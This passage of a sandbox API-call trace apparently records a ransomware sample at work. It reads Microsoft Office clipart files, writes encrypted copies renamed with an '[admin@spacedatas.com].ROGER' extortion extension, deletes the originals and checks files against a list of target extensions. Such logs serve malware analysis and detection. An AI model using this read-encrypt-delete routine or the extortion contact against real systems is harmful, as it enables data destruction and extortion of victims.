lpOverlapped=0x0 | out: lpBuffer=0x4fa0020*, lpNumberOfBytesRead=0x437fed4*=0xf92, lpOverlapped=0x0) returned 1 [0061.954] WriteFile (in: hFile=0x334, lpBuffer=0x4fa0020*, nNumberOfBytesToWrite=0xfa0, lpNumberOfBytesWritten=0x437fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4fa0020*, lpNumberOfBytesWritten=0x437fc9c*=0xfa0, lpOverlapped=0x0) returned 1 [0061.955] ReadFile (in: hFile=0x3f8, lpBuffer=0x4fa0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x437fed4, lpOverlapped=0x0 | out: lpBuffer=0x4fa0020*, lpNumberOfBytesRead=0x437fed4*=0x0, lpOverlapped=0x0) returned 1 [0061.955] WriteFile (in: hFile=0x334, lpBuffer=0x4fa0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x437fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4fa0020*, lpNumberOfBytesWritten=0x437fc9c*=0xec, lpOverlapped=0x0) returned 1 [0061.955] SetEndOfFile (hFile=0x334) returned 1 [0061.956] CloseHandle (hObject=0x334) returned 1 [0061.956] SetFilePointerEx (in: hFile=0x3f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x437fec8 | out: lpNewFilePointer=0x0) returned 1 [0061.956] SetEndOfFile (hFile=0x3f8) returned 1 [0061.956] CloseHandle (hObject=0x3f8) returned 1 [0061.957] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00194_.WMF.id-9C354B42.[admin@spacedatas.com].ROGER", dwFileAttributes=0x20) returned 1 [0061.957] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00194_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00194_.wmf")) returned 1 [0061.957] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00194_.WMF") returned 63 [0061.957] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00194_.WMF") returned 63 [0061.957] lstrlenW (lpString=".doc") returned 4 [0061.957] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0061.957] lstrlenW (lpString=".docx") returned 5 [0061.957] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0061.957] lstrlenW (lpString=".pdf") returned 4 [0061.957] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0061.957] lstrlenW (lpString=".xls") returned 4 [0061.957] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0061.957] lstrlenW (lpString=".xlsx") returned 5 [0061.957] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0061.957] lstrlenW (lpString=".ppt") returned 4 [0061.957] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0061.957] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00194_.WMF") returned 63 [0061.957] lstrlenW (lpString=".zip") returned 4 [0061.957] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0061.957] lstrlenW (lpString=".rar") returned 4 [0061.957] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0061.957] lstrlenW (lpString=".bz2") returned 4 [0061.957] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0061.957] lstrlenW (lpString=".7z") returned 3 [0061.958] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0061.958] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00194_.WMF") returned 63 [0061.958] lstrlenW (lpString=".dbf") returned 4 [0061.958] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0061.958] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00194_.WMF") returned 63 [0061.958] lstrlenW (lpString=".1cd") returned 4 [0061.958] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0061.958] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00194_.WMF") returned 63 [0061.958] lstrlenW (lpString=".jpg") returned 4 [0061.958] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0061.958] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00194_.WMF") returned 63 [0061.958] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00194_.WMF") returned 63 [0061.958] lstrlenW (lpString=".doc") returned 4 [0061.958] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0061.958] lstrlenW (lpString=".docx") returned 5 [0061.958] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0061.958] lstrlenW (lpString=".pdf") returned 4 [0061.958] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0061.958] lstrlenW (lpString=".xls") returned 4 [0061.958] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0061.958] lstrlenW (lpString=".xlsx") returned 5 [0061.958] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0061.958] lstrlenW (lpString=".ppt") returned 4 [0061.958] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0061.958] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00194_.WMF") returned 63 [0061.958] lstrlenW (lpString=".zip") returned 4 [0061.958] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0061.958] lstrlenW (lpString=".rar") returned 4 [0061.958] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0061.958] lstrlenW (lpString=".bz2") returned 4 [0061.958] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0061.958] lstrlenW (lpString=".7z") returned 3 [0061.958] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0061.958] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00194_.WMF") returned 63 [0061.958] lstrlenW (lpString=".dbf") returned 4 [0061.958] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0061.959] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00194_.WMF") returned 63 [0061.959] lstrlenW (lpString=".1cd") returned 4 [0061.959] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0061.959] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00194_.WMF") returned 63 [0061.959] lstrlenW (lpString=".jpg") returned 4 [0061.959] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0061.959] lstrcmpiW (lpString1=".WMF", lpString2=".ROGER") returned 1 [0061.959] lstrlenW (lpString="BL00195_.WMF") returned 12 [0061.959] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00195_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00195_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f8 [0061.960] GetFileSizeEx (in: hFile=0x3f8, lpFileSize=0x437ff1c | out: lpFileSize=0x437ff1c*=8070) returned 1 [0061.960] CloseHandle (hObject=0x3f8) returned 1 [0061.960] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00195_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00195_.wmf")) returned 0x20 [0061.960] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00195_.WMF.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00195_.wmf.id-9c354b42.[admin@spacedatas.com].roger")) returned 0xffffffff [0061.960] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00195_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00195_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f8 [0061.960] SetFilePointerEx (in: hFile=0x3f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x437fec8 | out: lpNewFilePointer=0x0) returned 1 [0061.960] SetFilePointerEx (in: hFile=0x3f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x437fec8 | out: lpNewFilePointer=0x0) returned 1 [0061.960] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00195_.WMF.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00195_.wmf.id-9c354b42.[admin@spacedatas.com].roger"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334 [0061.960] GetLastError () returned 0x0 [0061.960] ReadFile (in: hFile=0x3f8, lpBuffer=0x4fa0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x437fed4, lpOverlapped=0x0 | out: lpBuffer=0x4fa0020*, lpNumberOfBytesRead=0x437fed4*=0x1f86, lpOverlapped=0x0) returned 1 [0061.962] WriteFile (in: hFile=0x334, lpBuffer=0x4fa0020*, nNumberOfBytesToWrite=0x1f90, lpNumberOfBytesWritten=0x437fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4fa0020*, lpNumberOfBytesWritten=0x437fc9c*=0x1f90, lpOverlapped=0x0) returned 1 [0061.963] ReadFile (in: hFile=0x3f8, lpBuffer=0x4fa0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x437fed4, lpOverlapped=0x0 | out: lpBuffer=0x4fa0020*, lpNumberOfBytesRead=0x437fed4*=0x0, lpOverlapped=0x0) returned 1 [0061.963] WriteFile (in: hFile=0x334, lpBuffer=0x4fa0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x437fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4fa0020*, lpNumberOfBytesWritten=0x437fc9c*=0xec, lpOverlapped=0x0) returned 1 [0061.963] SetEndOfFile (hFile=0x334) returned 1 [0061.963] CloseHandle (hObject=0x334) returned 1 [0061.963] SetFilePointerEx (in: hFile=0x3f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x437fec8 | out: lpNewFilePointer=0x0) returned 1 [0061.963] SetEndOfFile (hFile=0x3f8) returned 1 [0061.964] CloseHandle (hObject=0x3f8) returned 1 [0061.964] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00195_.WMF.id-9C354B42.[admin@spacedatas.com].ROGER", dwFileAttributes=0x20) returned 1 [0061.964] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00195_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00195_.wmf")) returned 1 [0061.964] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00195_.WMF") returned 63 [0061.964] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00195_.WMF") returned 63 [0061.964] lstrlenW (lpString=".doc") returned 4 [0061.964] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0061.964] lstrlenW (lpString=".docx") returned 5 [0061.964] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0061.965] lstrlenW (lpString=".pdf") returned 4 [0061.965] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0061.965] lstrlenW (lpString=".xls") returned 4 [0061.965] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0061.965] lstrlenW (lpString=".xlsx") returned 5 [0061.965] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0061.965] lstrlenW (lpString=".ppt") returned 4 [0061.965] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0061.965] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00195_.WMF") returned 63 [0061.965] lstrlenW (lpString=".zip") returned 4 [0061.965] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0061.965] lstrlenW (lpString=".rar") returned 4 [0061.965] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0061.965] lstrlenW (lpString=".bz2") returned 4 [0061.965] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0061.965] lstrlenW (lpString=".7z") returned 3 [0061.965] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0061.965] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00195_.WMF") returned 63 [0061.965] lstrlenW (lpString=".dbf") returned 4 [0061.965] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0061.965] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00195_.WMF") returned 63 [0061.965] lstrlenW (lpString=".1cd") returned 4 [0061.965] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0061.965] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00195_.WMF") returned 63 [0061.965] lstrlenW (lpString=".jpg") returned 4 [0061.965] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0061.965] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00195_.WMF") returned 63 [0061.965] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00195_.WMF") returned 63 [0061.965] lstrlenW (lpString=".doc") returned 4 [0061.965] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0061.965] lstrlenW (lpString=".docx") returned 5 [0061.965] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0061.965] lstrlenW (lpString=".pdf") returned 4 [0061.965] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0061.965] lstrlenW (lpString=".xls") returned 4 [0061.965] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0061.966] lstrlenW (lpString=".xlsx") returned 5 [0061.966] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0061.966] lstrlenW (lpString=".ppt") returned 4 [0061.966] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0061.966] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00195_.WMF") returned 63 [0061.966] lstrlenW (lpString=".zip") returned 4 [0061.966] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0061.966] lstrlenW (lpString=".rar") returned 4 [0061.966] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0061.966] lstrlenW (lpString=".bz2") returned 4 [0061.966] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0061.966] lstrlenW (lpString=".7z") returned 3 [0061.966] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0061.966] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00195_.WMF") returned 63 [0061.966] lstrlenW (lpString=".dbf") returned 4 [0061.966] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0061.966] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00195_.WMF") returned 63 [0061.966] lstrlenW (lpString=".1cd") returned 4 [0061.966] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0061.966] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00195_.WMF") returned 63 [0061.966] lstrlenW (lpString=".jpg") returned 4 [0061.966] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0061.966] lstrcmpiW (lpString1=".WMF", lpString2=".ROGER") returned 1 [0061.966] lstrlenW (lpString="BL00234_.WMF") returned 12 [0061.966] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00234_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00234_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f8 [0061.967] GetFileSizeEx (in: hFile=0x3f8, lpFileSize=0x437ff1c | out: lpFileSize=0x437ff1c*=9304) returned 1 [0061.967] CloseHandle (hObject=0x3f8) returned 1 [0061.967] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00234_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00234_.wmf")) returned 0x20 [0061.967] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00234_.WMF.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00234_.wmf.id-9c354b42.[admin@spacedatas.com].roger")) returned 0xffffffff [0061.967] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00234_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00234_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f8 [0061.967] SetFilePointerEx (in: hFile=0x3f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x437fec8 | out: lpNewFilePointer=0x0) returned 1 [0061.967] SetFilePointerEx (in: hFile=0x3f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x437fec8 | out: lpNewFilePointer=0x0) returned 1 [0061.967] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00234_.WMF.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00234_.wmf.id-9c354b42.[admin@spacedatas.com].roger"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334 [0061.967] GetLastError () returned 0x0 [0061.967] ReadFile (in: hFile=0x3f8, lpBuffer=0x4fa0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x437fed4, lpOverlapped=0x0 | out: lpBuffer=0x4fa0020*, lpNumberOfBytesRead=0x437fed4*=0x2458, lpOverlapped=0x0) returned 1 [0061.969] WriteFile (in: hFile=0x334, lpBuffer=0x4fa0020*, nNumberOfBytesToWrite=0x2460, lpNumberOfBytesWritten=0x437fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4fa0020*, lpNumberOfBytesWritten=0x437fc9c*=0x2460, lpOverlapped=0x0) returned 1 [0061.970] ReadFile (in: hFile=0x3f8, lpBuffer=0x4fa0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x437fed4, lpOverlapped=0x0 | out: lpBuffer=0x4fa0020*, lpNumberOfBytesRead=0x437fed4*=0x0, lpOverlapped=0x0) returned 1 [0061.970] WriteFile (in: hFile=0x334, lpBuffer=0x4fa0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x437fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4fa0020*, lpNumberOfBytesWritten=0x437fc9c*=0xec, lpOverlapped=0x0) returned 1 [0061.970] SetEndOfFile (hFile=0x334) returned 1 [0061.970] CloseHandle (hObject=0x334) returned 1 [0061.970] SetFilePointerEx (in: hFile=0x3f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x437fec8 | out: lpNewFilePointer=0x0) returned 1 [0061.970] SetEndOfFile (hFile=0x3f8) returned 1 [0061.971] CloseHandle (hObject=0x3f8) returned 1 [0061.971] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00234_.WMF.id-9C354B42.[admin@spacedatas.com].ROGER", dwFileAttributes=0x20) returned 1 [0061.971] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00234_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00234_.wmf")) returned 1 [0061.971] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00234_.WMF") returned 63 [0061.971] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00234_.WMF") returned 63 [0061.971] lstrlenW (lpString=".doc") returned 4 [0061.972] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0061.972] lstrlenW (lpString=".docx") returned 5 [0061.972] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0061.972] lstrlenW (lpString=".pdf") returned 4 [0061.972] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0061.972] lstrlenW (lpString=".xls") returned 4 [0061.972] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0061.972] lstrlenW (lpString=".xlsx") returned 5 [0061.972] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0061.972] lstrlenW (lpString=".ppt") returned 4 [0061.972] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0061.972] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00234_.WMF") returned 63 [0061.972] lstrlenW (lpString=".zip") returned 4 [0061.972] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0061.972] lstrlenW (lpString=".rar") returned 4 [0061.972] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0061.972] lstrlenW (lpString=".bz2") returned 4 [0061.972] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0061.972] lstrlenW (lpString=".7z") returned 3 [0061.972] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0061.972] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00234_.WMF") returned 63 [0061.972] lstrlenW (lpString=".dbf") returned 4 [0061.972] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0061.972] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00234_.WMF") returned 63 [0061.972] lstrlenW (lpString=".1cd") returned 4 [0061.972] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0061.972] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00234_.WMF") returned 63 [0061.972] lstrlenW (lpString=".jpg") returned 4 [0061.972] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0061.972] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00234_.WMF") returned 63 [0061.972] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00234_.WMF") returned 63 [0061.972] lstrlenW (lpString=".doc") returned 4 [0061.972] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0061.972] lstrlenW (lpString=".docx") returned 5 [0061.973] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0061.973] lstrlenW (lpString=".pdf") returned 4 [0061.973] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0061.973] lstrlenW (lpString=".xls") returned 4 [0061.973] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0061.973] lstrlenW (lpString=".xlsx") returned 5 [0061.973] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0061.973] lstrlenW (lpString=".ppt") returned 4 [0061.973] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0061.973] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00234_.WMF") returned 63 [0061.973] lstrlenW (lpString=".zip") returned 4 [0061.973] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0061.973] lstrlenW (lpString=".rar") returned 4 [0061.973] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0061.973] lstrlenW (lpString=".bz2") returned 4 [0061.973] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0061.973] lstrlenW (lpString=".7z") returned 3 [0061.973] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0061.973] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00234_.WMF") returned 63 [0061.973] lstrlenW (lpString=".dbf") returned 4 [0061.973] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0061.973] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00234_.WMF") returned 63 [0061.973] lstrlenW (lpString=".1cd") returned 4 [0061.973] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0061.973] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00234_.WMF") returned 63 [0061.973] lstrlenW (lpString=".jpg") returned 4 [0061.973] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0061.973] lstrcmpiW (lpString1=".WMF", lpString2=".ROGER") returned 1 [0061.973] lstrlenW (lpString="BL00242_.WMF") returned 12 [0061.973] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00242_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00242_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f8 [0061.974] GetFileSizeEx (in: hFile=0x3f8, lpFileSize=0x437ff1c | out: lpFileSize=0x437ff1c*=4024) returned 1 [0061.974] CloseHandle (hObject=0x3f8) returned 1 [0061.974] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00242_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00242_.wmf")) returned 0x20 [0061.974] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00242_.WMF.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00242_.wmf.id-9c354b42.[admin@spacedatas.com].roger")) returned 0xffffffff [0061.974] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00242_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00242_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f8 [0061.974] SetFilePointerEx (in: hFile=0x3f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x437fec8 | out: lpNewFilePointer=0x0) returned 1 [0061.974] SetFilePointerEx (in: hFile=0x3f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x437fec8 | out: lpNewFilePointer=0x0) returned 1 [0061.974] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00242_.WMF.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00242_.wmf.id-9c354b42.[admin@spacedatas.com].roger"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334 [0061.974] GetLastError () returned 0x0 [0061.974] ReadFile (in: hFile=0x3f8, lpBuffer=0x4fa0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x437fed4, lpOverlapped=0x0 | out: lpBuffer=0x4fa0020*, lpNumberOfBytesRead=0x437fed4*=0xfb8, lpOverlapped=0x0) returned 1 [0062.071] WriteFile (in: hFile=0x334, lpBuffer=0x4fa0020*, nNumberOfBytesToWrite=0xfc0, lpNumberOfBytesWritten=0x437fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4fa0020*, lpNumberOfBytesWritten=0x437fc9c*=0xfc0, lpOverlapped=0x0) returned 1 [0062.072] ReadFile (in: hFile=0x3f8, lpBuffer=0x4fa0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x437fed4, lpOverlapped=0x0 | out: lpBuffer=0x4fa0020*, lpNumberOfBytesRead=0x437fed4*=0x0, lpOverlapped=0x0) returned 1 [0062.072] WriteFile (in: hFile=0x334, 